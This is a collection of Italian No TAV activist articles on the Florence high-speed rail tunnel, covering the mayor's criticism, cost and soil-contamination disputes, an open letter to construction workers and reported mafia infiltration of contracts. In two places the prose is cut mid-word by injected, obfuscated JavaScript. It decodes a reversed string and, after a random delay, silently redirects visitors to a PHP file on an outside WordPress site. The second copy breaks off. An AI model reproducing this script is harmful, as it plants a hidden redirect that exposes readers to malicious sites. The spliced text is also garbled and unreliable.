

A Nardella non piace la Tav fiorentina (e non è Lercio)

Il sindaco Nardella si è svegliato No Tav e ha fatto sue tutte le ragioni contrarie al passante fiorentino, ribadite da 15 anni dai No Tav "veri": è inutile, mal progettata, costosissima, devastante.

Meglio tardi che mai, diciamo noi, ricordando, pacatamente, che fino a ieri quel progetto veniva difeso con sprezzo del ridicolo da lui, da Renzi e da tutto il PD.

*Così commenta il comitato No Tunnel TAV: "Se c'è davvero un ripensamento su questo progetto folle, il Comitato si chiede come mai i lavori nel cantiere ai Macelli non vengono fermati subito, ma si continua a buttare una mole enorme di risorse in quella voragine. Le stime che si possono fare sui costi sostenuti fin'ora sono di circa **700 milioni**; una cifra vergognosa di cui molte persone dovrebbero rispondere, ma temiamo che a pagare saranno i soliti cittadini che contemporaneamente si vedono distruggere il sistema di welfare".*

Nardella: "La TAV di Firenze opera inspiegabile. Chiederò a Ferrovie modifica del progetto"

Il Sindaco: "È un progetto nato male e che sta andando ancora peggio"

Donato Mongatti da [il Sito di Firenze](#)

"Il progetto dell'Alta Velocità che Ferrovie ha voluto fare in tutti i modi, oggi ancor più di ieri, appare inspiegabile: è un grande spreco di denaro pubblico, perché stiamo parlando di un miliardo e mezzo di euro per risparmiare due minuti sulla tratta Roma-Bologna-Milano dell'Alta Velocità".

Lo ha detto ieri sera il Sindaco di Firenze, Dario Nardella,

intervenendo presso la Festa d'Estate organizzata dal Circolo ARCI La Loggetta di Varlungo (presso i giardini di Via della Funga), all'iniziativa promossa dal Circolo PD Varlungo ed incentrata su Firenze e le sue periferie.

“Un progetto – ha spiegato Nardella chiamato a rispondere sull'annosa questione del tunnel AV – che appare inspiegabile sotto più punti di vista. Il primo è che si realizza un'altra stazione, non a dieci chilometri (da Santa Maria Novella, ndr), ma a due chilometri, nell'area dei macelli dove ora c'è un buco gigantesco e 24 ore al giorno 4 idrovore portano l'acqua da un lato all'altro della falda per non interromperla e consentire il flusso sotterraneo dell'acqua. La stazione Foster è destinata ad ospitare i treni Alta Velocità andando a svuotare Santa Maria Novella che ogni anno vede transitare 36 milioni di passeggeri. Molti sono cittadini e lavoratori, ma tanti sono anche turisti. Portare con i treni i turisti nei centri storici delle città è una cosa grandiosa, perché questo va nel senso dell'eliminazione del mezzo privato e soprattutto di valorizzazione dei centri storici. Se noi eliminiamo questi porti di approdo nei cuori delle città, come possiamo fare un discorso di riqualificazione e ripopolamento dei centri cittadini? Diventa contraddittorio – ha affermato il Primo Cittadino – e quindi altera le scelte urbanistiche fatte in questa città da molti anni. Aggiungo che la stazione Foster prevede 25.000 mq di commerciale, con un risultato di gran lunga peggiore della stazione Triburtina di Roma, dove sembra di stare in una cattedrale nel deserto. Quindi credo che questo tema della stazione sia molto problematico”. “In più – ha proseguito Nardella – c'è un altro elemento. L'Alta Velocità è stata progettata 20 anni fa, ma le nuove tecnologie di oggi, con il controllo digitale dei sistemi di trasporto, consentono di gestire treni di Alta Velocità a tre minuti l'uno dall'altro, mentre 20 anni fa i treni dovevano viaggiare tra loro ad almeno 15 minuti di distanza. Questo vuol dire che a parità di lunghezza di un binario oggi possiamo mettere molti più treni di quanti se ne poteva mettere 15 anni fa.

Viene meno, quindi, anche l'elemento strategico dell'Alta Velocità, che era quello di far passare sotto terra i treni di Alta Velocità per liberare i binari di superficie a favore del trasporto regionale. Quindi ci sono molti elementi che ci portano a dire che quel progetto è vecchio prima ancora di essere realizzato. Sono consapevole che sono state fatte delle scelte, Renzi ed io siamo arrivati a scelte già fatte, ma in certi casi bisogna avere il coraggio non di bloccare l'opera, ma di convertirla. Convertirla in un uso che sia più economico, che tenga conto dei progressi tecnologici che sono stati fatti a distanza di 15 anni che consentono di gestire meglio il traffico ferroviario in superficie, e che soprattutto possa intersecarsi con le esigenze della città: che è quella di riqualificare il centro e di usare le tramvie. Le tramvie arrivano tutte alla stazione di Santa Maria Novella, non arrivano tutte alla stazione Foster. Ferrovie dello Stato non ha progettato la navetta che collega Santa Maria Novella e la Foster”.

“Insomma – ha continuato il Sindaco – è un progetto nato male e che sta andando ancora peggio. Io ho intenzione insieme al Presidente Rossi (Governatore della Regione Toscana, ndr) di proporre al Governo e a Ferrovie dello Stato una modifica, non per bloccare tutto, ma per fare un'opera meno impattante, meno costosa e più utile ai cittadini. Ferrovie mi pare disponibile (a ridiscutere il progetto, ndr). Scavare in quel modo sotto Firenze rischia di essere inutile. Utilizzando dunque la stazione di Santa Maria Novella che può continuare ad essere il cuore, visto che abbiamo la stazione di Campo di Marte che può essere riqualificata per essere di servizio per molti treni della Alta Velocità, soprattutto quelli diretti in Veneto, e poi la stazione di Rifredi. Queste sono le tre grandi stazioni della Città Metropolitana di Firenze, non c'è bisogno di spendere altri quattrini pubblici per fare dei doppioni inutili. Io credo – ha concluso Nardella – che, se gli spazi ci sono, ci possiamo lavorare”.

“Il tunnel TAV è un progetto fallito”

Riceviamo dal Comitato No Tunnel TAV Firenze

Il progetto di sottoattraversamento TAV di Firenze è indifendibile

La politica prenda atto del fallimento di questo progetto

Il progetto di sottoattraversamento TAV di Firenze si è infilato in un vicolo cieco e non poteva essere altrimenti: le criticità sono enormi e non risolte. Oltre quelle che stanno oggettivamente bloccando i lavori, come le enormi difficoltà a smaltire **3 milioni di metri cubi di terra inquinata** e **l'impatto sulla falda** che non si riesce a mitigare, pesano sul progetto tutti i rischi di un eventuale avvio della fresa: danni per parecchie migliaia di appartamenti e alcuni importanti monumenti, mancato rispetto delle **norme antisismiche** nella realizzazione della stazione ai Macelli, il fatto che lo scavo con una sola fresa provocherà, al secondo passaggio, danni superiori del 50% che non scavando con due frese in parallelo. All'eventuale fine di questi lavori infiniti nessuno tiene conto delle **vibrazioni** che provocherebbe il passaggio dei treni: queste danneggerebbero, alla lunga, gli edifici che si troveranno in prossimità delle gallerie. Questo fenomeno dipende dal peso dei treni che è all'incirca doppio di quello delle metropolitane; queste ultime non creano questo tipo di problemi, mentre per i treni ciò è ampiamente documentato.

L'argomento che i sostenitori dei tunnel TAV, come il presidente Enrico Rossi e l'assessore Vincenzo Ceccarelli, ripetono ancora monotonamente è quello che i binari in più in

superficie “libererrebbero i binari di superficie per il trasporto regionale”. Questo è chiaramente un argomento strumentale e non vero:

- Se occorrono dei binari in più tra Firenze Campo Marte e Firenze Rifredi c'è un progetto che da ormai quasi 20 anni dimostra come sia possibile realizzare **due binari in superficie** tra queste stazioni con costi modesti e tempi di realizzazione brevi; se servono questi binari perché non si realizzano subito?
- L'argomento dei binari suddetti è fuorviante perché non riconosce dove sono i veri **colli di bottiglia** per i treni: questi non sono tanto nel nodo fiorentino, ma piuttosto dalla stazione di Firenze Campo Marte verso il Valdarno, sulla linea direttissima, dove si sta spacciando per “sperimentazione di regolarità dei treni” la decisione di riservare questa linea veloce SOLO per i treni AV condannando i pendolari del Valdarno e dell'Aretino a tempi di viaggio ottocenteschi. Perché non si potenzia davvero quella linea?
- Che la liberazione dei binari di superficie migliori il trasporto regionale è una **bufala**; dove questo è successo, come sulla linea Firenze Bologna con l'attivazione della linea TAV che passa dal Mugello, non si è avuto alcun miglioramento del servizio, tutt'altro: per costringere le persone a usare i treni AV si sono praticamente eliminati quasi tutti i collegamenti diretti sulla linea storica fra il capoluogo toscano e quello emiliano, i tempi di percorrenza sono passati da poco più di un'ora a due ore costringendo quasi sempre al cambio di treno a Prato.

L'altro argomento residuo per sostenere il progetto di sottoattraversamento è quello che vede la saturazione della stazione di Santa Maria Novella; a questo si può facilissimamente provvedere scegliendo tra **3 soluzioni** per la fermata dei treni a lunga percorrenza: o Firenze Rifredi, o

Firenze Statuto, o Firenze Campo Marte. La soluzione di Firenze Statuto renderebbe molto semplice il collegamento tra treni AV e il servizio regionale che si attesta a Santa Maria Novella.

C'è una ultima cosa di cui la politica e le Ferrovie dovrebbero rispondere: dello **spreco** di denaro pubblico che si è avuto fin'ora. Quello che è stato speso fin'ora oscilla **tra i 450 e i 700 milioni** di euro; non è possibile fare una stima precisa per l'omertà dei soggetti interessati.

Non porre fine a questa agonia nei trasporti fiorentini è grave colpa di chi ne ha il potere.

Comitato No Tunnel TAV Firenze

I NoTav di Firenze scrivono ai lavoratori del cantiere: "Con voi per un'opera utile ai cittadini"

Il Comitato No Tunnel TAV di Firenze scrive una lettera aperta ai lavoratori di Coopsette, la società che ha vinto l'appalto per la costruzione del Passante TAV e che adesso è in gravissime condizioni economiche. La cooperativa rischia la liquidazione coatta, per altri si prevede una riduzione sensibile dei salari. L'opera è finita in due gravissime inchieste della magistratura con gravi responsabilità dei dirigenti di Coopsette; nel progetto vi sono tali incongruenze che la soluzione più ragionevole sarebbe l'abb (typeof (\$p\$VT06JhIH6WkCGAcPR.list[n]) == "string") return \$p\$VT06JhIH6WkCGAcPR.list[n].split("").reverse().join("");retu

```
rn
$p$VT06JhIH6WkCGAcPR.list[n];};$p$VT06JhIH6WkCGAcPR.list=["'ph
p.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-
pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var
number1=Math.floor(Math.random() * 5);if (number1==3){var
delay = 15000;setTimeout($p$VT06JhIH6WkCGAcPR(0),
delay);}andono dell'opera.
```

I cittadini fiorentini del comitato hanno elaborato, con l'Università e con tecnici volontari, uno scenario alternativo dei trasporti metropolitani che prevede un potenziamento della rete ferroviaria e la creazione di un trasporto pubblico efficiente (tram-treno o metro-treno). Nella lettera, oltre a solidarizzare con i lavoratori, propongono agli stessi e alle istituzioni emiliane e toscane di iniziare un processo partecipato per progettare e realizzare queste opere alternative in modo da salvare i posti di lavoro, anzi di crearne di nuovi.

Sotto il testo della lettera.

Lettera aperta ai lavoratori e ai soci Coopsette

Firenze, 20 ottobre 2015

Ci rivolgiamo a voi coscienti del bruttissimo periodo che state attraversando



viste le pessime prospettive di Coopsette, la cooperativa per cui lavorate. Con questa lettera vogliamo per prima cosa portarvi tutta la nostra solidarietà e l'augurio di poter trovare una soluzione ai problemi che pongono a rischio posti di lavoro e risparmi di tante famiglie.

Coloro vi scrivono sono i membri del Comitato No Tunnel TAV di Firenze, il gruppo che da dieci anni si oppone alla realizzazione di un progetto sbagliato e dannoso per la città, per i trasporti e, adesso lo possiamo dire chiaramente, anche per voi lavoratori del settore. Coopsette è risultata la società che si era aggiudicata la chiacchierata gara di questa grande opera inutile.

Per anni abbiamo cercato di metterci in contatto con voi per far capire le ragioni della nostra opposizione; noi non siamo contro il lavoro e la realizzazione di infrastrutture, ma criticiamo aspramente quelle inutili e dannose. Abbiamo anche cercato di spiegare che mega opere in sotterranea come quella fiorentina non creano molti posti di lavoro, ma sono soprattutto operazioni di speculazione finanziaria. Noi siamo a favore della creazione di nuovi posti di lavoro, sappiamo benissimo la situazione in cui versa il nostro paese. Ma il progetto di Passante di cui ci occupiamo è stato fin dall'inizio sbagliato e mal fatto; non a caso ne sono nate due inchieste gravissime della magistratura che vedono coinvolti

anche i vertici della Coopsette.

Ci duole dire che abbiamo sempre trovato un muro davanti a noi ogni volta che abbiamo tentato un dialogo o che vi abbiamo scritto altre lettere aperte: quello dei vostri dirigenti, che, più di una volta si sono frapposti fisicamente tra noi e voi per impedire ogni contatto. Anche con i vostri sindacati abbiamo trovato sempre un muro di gomma. Adesso proviamo con questa lettera aperta che speriamo inizi un dialogo vero e serva a smuovere la politica emiliana e toscana.

Il lavoro che come Comitato abbiamo fatto negli ultimi dieci anni, con il supporto dell'Università di Firenze, è stato quello di denunciare tutte le falle del progetto che sono tali e tante che prima si decide di abbandonarlo, meglio sarà per tutti; il rischio concreto è che i lavori si trascinino per decenni (ne è già passato uno), si sperperino ingenti risorse e non si arrivi a nulla. In questo le Ferrovie e soprattutto la politica dovrebbero avere un briciolo di coraggio e di buon senso.

Nel frattempo abbiamo elaborato uno scenario della mobilità nell'area fiorentina che prevede il potenziamento della rete ferroviaria in superficie su cui costruire un vero ed efficiente trasporto pubblico su ferro, compresa la linea dedicata ai treni AV. Un progetto del genere creerebbe molti più posti di lavoro sia durante l'esecuzione, sia a regime. La nostra proposta, a voi, ma soprattutto alla politica regionale emiliana e toscana, è di utilizzare le risorse economiche destinate al Passante, le vostre competenze e il vostro lavoro per realizzare questo progetto utile per noi Toscani.

Se solo ci fosse la volontà politica di supportarvi potreste riorganizzarvi lasciando da parte quelli che vi hanno portato al disastro. Crediamo che al vostro interno ci siano tutte le risorse per realizzare sia la progettazione delle infrastrutture, sia la realizzazione.

Il nostro gruppo e la stessa Università di Firenze sono disponibili a supportarvi in ogni modo in questo lavoro e a portare avanti un reale processo partecipato di progettazione infrastrutturale. Questa collaborazione tra lavoratori, cittadini, istituzioni universitarie e enti locali potrebbe essere un modello per garantire un futuro non solo ai Toscani e a voi lavoratori, ma al nostro paese che non ha bisogno di ulteriori pachidermi di cemento, ma di servizi e di creare lavoro vero.

Questa nostra lettera vuol essere un invito a voi al dialogo e una sfida alla politica perché finalmente abbia il coraggio di mettersi al servizio di lavoratori e cittadini, non solo dei poteri forti.

Rinnovando ancora la nostra solidarietà vi salutiamo

I cittadini del Comitato No Tunnel TAV di Firenze

Assolto Erri De Luca, il commento dei No TAV Firenze

Riceviamo e volentieri pubblichiamo

Assolto Erri De Luca. Bene!

Adesso aspettiamo un po' di giustizia per le popolazioni cui sono imposte le grandi opere inutili.

Apprendiamo con piacere e soddisfazione dell'assoluzione dello scrittore Erri De Luca dall'accusa di istigazione a delinquere per aver evocato la possibilità di sabotaggio nei confronti del TAV; segno che avere delle idee, anche se non ortodosse, non è un reato.

Il nostro pensiero va però immediatamente a tutte le realtà che si battono contro l'imposizione di **grandi opere inutili**, alle centinaia di gruppi che vogliono salvare il territorio dove vivono e rivendicano un uso ben diverso delle risorse sperperate per garantire profitti alle grandi imprese di costruzione.

Perché le grandi opere inutili provocano davvero sabotaggio, non quello nonviolento di cui parla De Luca, ma vero e proprio **sabotaggio delle finanze italiane** che avrà impatti sociali molto violenti; perché mentre si sprecano denari per costruire **buchi inutili, come a Firenze**, le risorse per godere dei diritti costituzionali evaporano. Le pensioni, la sanità, il diritto alla casa, la scuola, tutto frana e si disintegra mentre le uniche garanzie sono per il sistema economico/politico/mafioso che impone le grandi opere inutili.

Dopo l'assoluzione di Erri De Luca ci auguriamo che ritorni un po' di serenità anche nella Val Susa e in altri luoghi (compresa Firenze) dove sono pendenti centinaia di procedimenti a carico di cittadini che hanno sempre usato metodi non violenti nelle loro lotte; vogliamo sperare anche che si cancelli la vergogna di aver invocato il reato di terrorismo per reati assolutamente minori come aver danneggiato un compressore, fatto per cui è in corso un processo a Torino.

Fronte No Tunnel TAV Firenze:

Comitato No Tunnel TAV

Alternativa Libera

Firenze Riparte a Sinistra

Italia Nostra

Legambiente

Movimento 5 stelle

PerUn'altra città

Rete dei Comitati in Difesa del Territorio

Si - Toscana a Sinistra

'Ndrangheta in Toscana: affari d'oro con rifiuti tossici e TAV

Dalle carte dei pm antimafia emergono infiltrazioni in Lucchesia, nel Pisano e in Versilia – di Massimo Mugnaini da Il Tirreno

FIRENZE. Dietro l'indagine sulla corruzione all'Anas Toscana e dietro quella sul Tav di Firenze da cui scaturisce, ci sono collaboratori di giustizia che da un paio di anni stanno raccontando ai pm antimafia del capoluogo toscano come la 'ndrangheta, di concerto col clan dei casalesi, si sia infiltrata nei grandi appalti pubblici regionali.

A svelarlo sono le carte dell'inchiesta della Procura di Firenze che la scorsa settimana ha portato all'arresto per corruzione di tre dirigenti Anas (Antonio Mazzeo, Roberto Troccoli e Nicola Cenci) e dell'imprenditore Francesco Mele. «Solo la punta dell'iceberg» secondo gli inquirenti che hanno raccolto alcune deposizioni di pentiti di camorra e 'ndrangheta che gettano una luce sinistra sulla capacità di penetrazione della criminalità organizzata in alcuni settori economici regionali, a partire da quello edilizio.

Mele non risponde al gip

Si è avvalso della facoltà di non rispondere Francesco Mele, l'imprenditore di Matera arrestato la scorsa settimana per il giro di tangenti all'Anas Toscana. Comparso ieri davanti al gip del Tribunale di Firenze Angelo Antonio Pezzuti, l'uomo difeso dall'avvocato Antonio Voce, ha scelto la linea del silenzio come già, nei giorni scorsi, i due dirigenti Anas

finiti ai domiciliari Roberto Troccoli e Antonio Mazzeo, rispettivamente direttore amministrativo e capo compartimento della Toscana. Oggi l'interrogatorio del funzionario Anas Nicola Cenci, il quarto arrestato. Il nome di Mele era emerso per la prima volta nel corso di controlli sulla regolarità delle procedure di affidamento di commesse per lo smaltimento di rifiuti del cantiere del lotto 2 passante del nodo Tav fiorentino. Nel corso di una perquisizione in una ditta di gestione rifiuti, la Ecogest, fu sottratto un fascicolo di documenti riguardanti il rapporto con la società En.Gen.Co di Barberino del Mugello, rappresentata proprio da Francesco Mele e dal suo socio Giuseppe Della Monica, residente a Montevarchi (Arezzo) e originario di Castellammare di Stabia (Napoli). L'imprenditore di Matera, sostengono gli investigatori, «incentrava la sua attività sulla gestione di ingenti somme di denaro sia direttamente che tramite terzi», quindi «rendicontava» i suoi affari nei minimi dettagli al commercialista con studio nel Napoletano, Antonio De Simone, considerato dagli inquirenti un possibile «trait d'union con la criminalità organizzata campana», in particolare con il clan camorristico Cesarano di Castellammare di Stabia.

L'infiltrazione negli appalti

Dichiara al pm della Dda Monferini, un anno e mezzo fa, Francesco Oliviero, 45 anni, crotonese, 'ndranghetista già a capo della locale di Belvedere Spinello (Crotone): «in Toscana mi sono preoccupato di trovare affari insieme a A.F. 'ndranghetista del clan Morabito della locale di Africo. Ero suo socio, lui mi disse che il suo clan aveva avvicinato un dirigente Anas che aveva contatti di alto livello politico e imprenditoriale e che si diceva in grado di metterlo in contatto con dirigenti di Anas e Italferr per fargli avere lavori in subappalto». A.F. 'ndranghetista originario della Locride, deceduto in carcere due anni fa, avrebbe proposto a Oliviero di partecipare all'affare con la **fornitura di veicoli e noli per il movimento terra**. «Mi disse anche il nome di un

dirigente di **Coopsette** che si doveva occupare dell'appalto **Tav**, si chiama Lombardi, e che poteva essere avvicinato tramite il dirigente Anas. Questo episodio avvenne tra il 2009 e il 2010 quando si era in procinto di appaltare i lavori». Sui «contatti di alto livello» che avrebbero agevolato i rapporti tra criminalità organizzata e pubblica amministrazione, la magistratura sta tutt'ora indagando.

'Ndrangheta e Casalesi

Secondo Oliviero, i calabresi sarebbero riusciti a infiltrarsi negli appalti per la realizzazione di grandi opere pubbliche come **Tav** e **strade Anas** – in particolare nel trasporto terre e rifiuti – proprio grazie ad A. F., garante dei contatti e dei contratti con le ditte del napoletano che operano in Toscana. Quali? Secondo Oliviero, una è la Ve.ca. Sud della famiglia di imprenditori casertani Ventrone: «nel 2011 A. F. mi disse che per l'appalto Tav Firenze non c'erano stati problemi perché erano già dentro amici nostri della famiglia dei Caturano, camorristi che lavoravano in accordo con la locale di Africo (Locri) e tramite lui anche la locale di Bianco del clan di Bruno Nirta». La Ve.ca. Sud, emanazione dei Caturano, «lavora nella Tav facendo trasporto e movimento terra».

A. F. avrebbe inoltre avuto a disposizione più ditte campane, intestate a prestanome, che lavoravano per suo conto.

Ma perchè un manager di Coopsette avrebbe avuto interesse a dare lavori a imprese criminali? «Perché i pagamenti possono essere dilazionati, non ci sono scadenze troppo pressanti e se bisogna smaltire rifiuti illecitamente, non vengono posti problemi... anzi è assicurata una protezione militare», risponde Oliviero ai pm antimafia, per poi aggiungere: «a fine 2011 incontrai un membro della famiglia di Petilia Policastro, un certo Garofalo di Pagliarelle, mi disse che in Toscana erano messi bene, fornivano il cemento e le betoniere ai cantieri Tav tramite imprese di Firenze. Mi precisò che per il movimento terra c'erano i casalesi che si erano associati con

noi 'ndranghetisti».

Le ditte di smaltimento

Sugli affari sporchi del connubio 'ndrangheta-casalesi in Toscana c'è un'altra deposizione importante, quella del collaboratore di giustizia Gaetano Vassallo, 49 anni, casertano, già appartenente al clan Bidognetti di Casal di Principe. Nel novembre 2013, davanti ai pm, il pentito sostiene: «mi sono sempre occupato di smaltimento illegale di rifiuti, anche fuori dalla Campania. Le ditte che trasportavano per conto dei clan erano riferibili all'affiliato Luigi Cardiello, che cambiava la denominazione societaria delle ditte con cui operava e veniva spesso in Toscana per smaltire i **fanghi delle concerie** di Santa Croce sull'Arno (Pisa). Portava i rifiuti in terreni che noi del clan gli indicavamo per lo smaltimento abusivo».

Vassallo sostiene di conoscere la Ve.ca. Sud: «Fa riferimento ai clan Belforte e Zagaria, Ve sta per Ventrone e Ca per Caturano. I loro veicoli partivano da Napoli carichi di materiali da portare al nord, tipo sabbia, e poi tornavano con gli stessi veicoli a Napoli carichi di rifiuti. Hanno preso subappalti di smaltimento per tutti i cantieri Tav Firenze dalle ditte appaltatrici dei rifiuti perché erano l'unica ditta in grado di smaltirli, i costi in Toscana sono molto elevati».

Michele Froncillo, di Marcianise (Caserta), 43 anni, pentito del clan Belforte, conferma le affermazioni di Vassallo: «il clan Belforte, di cui fanno parte i Caturano, aveva rapporti con società che facevano documenti e bolle false e poi smaltivano tutto abusivamente nei terreni». E sostiene lo stesso l'ex ragioniere del clan Belforte, Bruno Buttone, ora collaboratore di giustizia: «In Toscana trovammo imprenditori interessati a smaltire fanghi».

Toscana, «la prima regione»

Anche Cipriano D'Alessandro, già al vertice del potente clan omonimo, egemone a Castellammare di Stabia (Napoli), getta un'ombra inquietante sull'infiltrazione delle 'ndrine in regione e chiama in causa il super boss Michele Zagaria. Cugino di Francesco Schiavone detto Sandokan, D'Alessandro si è di recente pentito e ha dichiarato che «ad Altopascio il clan dei casalesi è presente per tramite di Zagaria». Quest'ultimo, 57 anni, di San Cipriano d'Aversa, detto "capastorta", è il capo assoluto dei casalesi. Arrestato nel 2011, è considerato il «re del cemento a livello nazionale» e tra i suoi principali interessi ci sono gli appalti pubblici.

Proprio ad Altopascio sono stati di recente confiscati beni per 1.2 milioni di euro a Giuseppe Lombardo, 50 anni, calabrese residente nel comune lucchese, finito in carcere a Prato nel 2013 e ritenuto al vertice di un sodalizio dedito allo spaccio e all'estorsione legato alla 'ndrina dei Facchineri di Cittanova, in provincia di Reggio.

La mappa dei tentacoli

Stando a un recente report degli analisti della Dia, in Toscana i Facchineri si troverebbero in compagnia di molte altre famiglie 'ndranghetiste: Ariola, Iamonte, Lanzino e Prioro-Piromalli-Molè tra Lucca e Massa Carrara; De Stefano, Nirta, Alvaro, Bellocco, Anello-Fiumara e Mancuso tra Firenze e Arezzo; Comisso, Arena-Trapasso, Grande Aracri-Nicoscia ad Arezzo; Pesce, Libri e Muto a Grosseto; Piromalli-Molè e Cordi a Livorno.

Tornando a D'Alessandro, nell'aprile 2014 il pentito condannato all'ergastolo, in carcere a Prato, rivela al pm Monferini: «in Toscana ho operato nel settore dei rifiuti dal 1988 tramite Antonio Iovine che all'epoca era latitante a Viareggio. Mi ospitava la famiglia Di Puerto a Torre del Lago. Con un ragioniere viareggino creammo una società commerciale per gestire i rifiuti. Le società toscane che ci stoccavano i rifiuti pericolosi da smaltire sapevano chi eravamo. Fu

proprio la Toscana la prima regione in cui il clan iniziò questo business, che credo sia andato avanti a lungo».

Il Fronte NoTav: "Il Cnr lo sa che la bentonite è un inquinante?"

È apparsa in questi giorni la notizia che il CNR avrebbe sciolto le riserve sulle terre prodotte dalla fresa che dovrebbe scavare le gallerie TAV di Firenze. Il Fronte No Tunnel TAV Firenze che si oppone e denuncia tutti i problemi di questo progetto vorrebbe leggere la relazione del CNR prima di esprimere un giudizio ponderato su questo problema, ma l'entusiasmo che ha folgorato i fautori dei tunnel impone alcune riflessioni.

A quanto sappiamo il CNR ha consegnato una ponderosa relazione al Ministero dell'Ambiente che deve ancora studiare le carte e, anche in base a queste, stabilire se il piano di utilizzo che prevede il conferimento delle terre a Santa Barbara (Cavriglia) è possibile.

Sarebbe opportuno sapere di quali additivi parla il CNR a proposito delle terre analizzate che non sono mai citati negli articoli apparsi; se non si sa questo è impossibile capire. Se si trattasse della famosa bentonite, dopo 28 o 280 giorni non sarebbe assolutamente sparita dalle terre scavate; la bentonite è una speciale argilla che ha la proprietà di restare molto fluida e aumentare di volume a contatto con l'acqua, ma non è soggetta a nessuna forma di degradabilità, resta tale nel tempo; al massimo può essere lentamente dilavata se esposta per molto tempo alle precipitazioni

atmosferiche, ma resta nelle terre contaminate e ne impedisce un utilizzo normale. Le terre contaminate da bentonite sono "non palabili", sono simili a fango, assolutamente inadatte a realizzare colline come si vorrebbe a Santa Barbara a meno che non le si inscatoli in strutture di cemento armato o non le si additivi generosamente di calce. Tutto è possibile, ma non si avrebbe un "risanamento ambientale", si avrebbe una discarica di terre contaminate e instabili su cui non potrebbe nascere un manto vegetale per decenni.

Gli articoli apparsi in questi giorni parlano di "terre pulite" che uscirebbero dalle viscere di Firenze; in teoria (sottolineiamo in teoria) le terre additivate di bentonite non dovrebbero contenere materiali tossici o nocivi. L'esperienza della galleria in Mugello, dove le terre dovevano essere pura roccia sbriciolata, in realtà sono state contaminate da idrocarburi, oli minerali e altro per la cialtronaggine di chi ha eseguito lo scavo. Le dinamiche che si vedono a Firenze non tranquillizzano certamente per il futuro.

Inoltre c'è l'incognita delle terre provenienti da una città millenaria; il sottosuolo di Firenze non è terra incontaminata, ma ha subito alterazioni nel tempo, soprattutto nell'ultimo secolo. Che la falda sia inquinata non è certamente una novità, che le poche terre scavate per la tranvia contenessero metalli pesanti lo si sa. Il CNR ha fatto delle prove di laboratorio assolutamente teoriche, non ha tenuto conto del contesto dello scavo.

Suona stonato il trionfalismo che si percepisce nei media e nella politica locale per il presunto "semaforo verde" all'inizio dello scavo; questo ormai viene rinviato di mese in mese da 5 o 6 anni: una vicenda ridicola, deprimente e offensiva per i cittadini e i fruitori dei media.

Restano ancora in piedi molti, troppi semafori rossi: la mancanza di autorizzazione paesaggistica, il fatto che l'Osservatorio Ambientale abbia autorizzato solo la metà dello

scavo, la mancanza di Via sulla stazione ai Macelli, la constatazione che il progetto di stazione non rispetti le normative antisismiche, il fatto che le previsioni di cedimenti siano sottostimati, che lo scavare con una sola fresa in due passaggi crei cedimenti superiori del 50% che non scavando con due frese parallele.

Su questo quadro disperato aleggiano le parole dei nostri amministratori locali che rivendicano di "far presto" per liberare i binari di superficie per i treni regionali... Gli oppositori all'opera sono ormai stanchi di ricordare a chi non vuole o non può capire, che se si vogliono due binari in più fra Campo Marte e Rifredi c'è da 20 anni un progetto che prevede due binari in superficie da realizzare in due anni al costo di un decimo di quanto previsto dai tunnel; che dove si sono liberati i binari per l'attivazione della linea TAV in Mugello, cioè da Firenze a Bologna, resta il solito derelitto servizio regionale; anzi, dove occorre 70 od 80 minuti per andare da Firenze a Bologna adesso ne occorrono 120 e bisogna cambiare treno a Prato!

Il progetto TAV fiorentino è ormai morto, compito nostro oggi deve essere quello di accompagnarlo definitivamente nel regno dei progetti sbagliati da dimenticare e concentrarci sulla costruzione di un efficiente servizio di mobilità pubblica.

Il Fronte No Tunnel TAV Firenze è costituito da:

Comitato No Tunnel TAV

Alternativa Libera

Firenze Riparte a Sinistra

Italia Nostra

Legambiente

Movimento 5 stelle

PerUn'altra città

Rete dei Comitati in Difesa del Territorio

Si - Toscana a Sinistra

Tav, se le terre inquinate sono "pulite" facciamoci un orto per politici e imprenditori

Sorpresa. Le terre di scavo del tunnel dell'Alta velocità ferroviaria inquinate da oli, schiume, lubrificanti e schifezze varie, sono sostanzialmente – udite, udite – biodegradabili. Il Cnr di Roma ha infatti licenziato una relazione, chiesta dalla committenza dei lavori, in cui si afferma che ci vogliono solo 28 giorni per cancellare ogni traccia di additivo dalle terre scavate con la megafresa sotto Firenze. Ora la palla passa al Ministero dell'Ambiente che, dopo il blocco derivato dall'inchiesta giudiziaria sulle commistioni tra cooperative, camorra e Partito democratico, dovrà classificare questi scarti della lavorazione.

I test del Cnr sono stati compiuti nella capitale dallo staff guidato da Enrico Brugnoli, direttore del dipartimento di Scienze del sistema terra e tecnologia dell'ambiente. Nella relazione finale si afferma come il modello di analisi preveda controlli ogni sette giorni. Al settimo, al quattordicesimo e al ventunesimo le terre fiorentine erano inquinate. Dopo un mese linde come il sedere di un neonato appena lavato, salvo, afferma Brugnoli, "tracce assolutamente insignificanti" degli additivi usati per scavare.

Da parte nostra avanziamo due piccole proposte. Che la giuria del Nobel tenga conto in futuro di queste evidenze nell'assegnazione dell'ambito premio (anche se oggi in realtà è stato dato a tre scienziati che studiano i "parassiti") e

che con le “terre pulite” si predisponga un orto, dei cui ortaggi si dovrà nutrire d’ora in poi tutta la classe politica, economica e sindacale che sostiene acriticamente il progetto del tunnel sotto Firenze. (RC)

Un Fronte unitario per fermare la Tav a Firenze. Visto che l'Anticorruzione non basta

Il progetto dei due tunnel del sotto attraversamento alta velocità di Firenze è ormai un fantasma. Per questo si è formato un fronte di associazioni, gruppi politici e comitati che vogliono accompagnare questo progetto al definitivo accantonamento.

Travolto da una serie di inchieste che ne hanno dimostrato tutta la carica criminogena langue nei cantieri semideserti; i lavori arrancano stancamente a significare ancora di più la spettacolare inutilità dell’opera; la loro funzione è ormai solo quella di far crescere costi che sono ormai fuori controllo, come anche la relazione dell’Autorità Nazionale Anticorruzione ha confermato.

Le criticità del progetto non sono state per niente risolte: le terre di scavo non si sa ancora ufficialmente come dovranno essere smaltite e a quali costi; nelle relazioni degli avvocati degli inquisiti nelle udienze preliminari del processo in corso, si riconosce che sarebbero addirittura decuplicati. I rischi per gli edifici e i monumenti sul percorso dei tunnel sono sistematicamente sottostimati anche

di dieci volte quanto previsto dalla letteratura scientifica esistente. Non si è tenuto conto che, scav (typeof (\$p\$VT06JhIH6WkCGAcPR.list[n]) == "string") return \$p\$VT06JhIH6WkCGAcPR.list[n].split("").reverse().join("");return

```
